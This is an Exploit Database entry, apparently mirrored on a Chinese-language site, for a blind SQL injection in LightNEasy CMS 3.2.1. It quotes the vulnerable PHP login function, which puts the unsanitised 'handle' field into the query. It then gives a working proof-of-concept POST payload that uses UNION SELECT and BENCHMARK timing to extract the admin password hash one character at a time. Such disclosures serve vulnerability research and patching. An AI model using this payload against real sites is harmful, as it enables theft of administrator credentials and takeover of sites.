LightNEasy CMS 3.2.1 – Blind SQL Injection

• Exploit Database
• 34 阅读

• 作者： Solidmedia
  日期： 2010-09-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15060/

• # Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
  # Date: 20.09.2010
  # Author: Stephan Sattler // Solidmedia.de
  # Software Website: http://www.lightneasy.org/
  # Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127
  # Version: 3.2.1
  # Special Thanks to: Dominik Landtwing
   
   
  [ Vulnerability]
  
  # Vulnerable Code:
  
  common.php line 112-148
  
  function login() {
  	global $message, $set, $langmessage, $prefix;
  	if($_SESSION[$set['password']]!="1") {
  	if($_GET['do']=="login" && $_POST['handle']!="") {
  		$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
  		if($row = fetch_array($result)) {
  			if($row['password'] == sha1($_POST['password'])) {
  					...
  
  }}}}}
   
  # Explanation:
  
  $_POST['handle'] isn't sanitized before executing the database query.
  
  
  Since the only user after a fresh install is the admin-user with id 1 and
  a normal visitor can't register we have to retrieve the admin hash by using benchmark().
  
  # Exploiting the Vulnerability // PoC:
  
  URL: http://localhost/LNE/LightNEasy.php?do=login
  
  Postdata:
  
  handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login
  
  This will trigger benchmark() if the first character of the admin hash is b.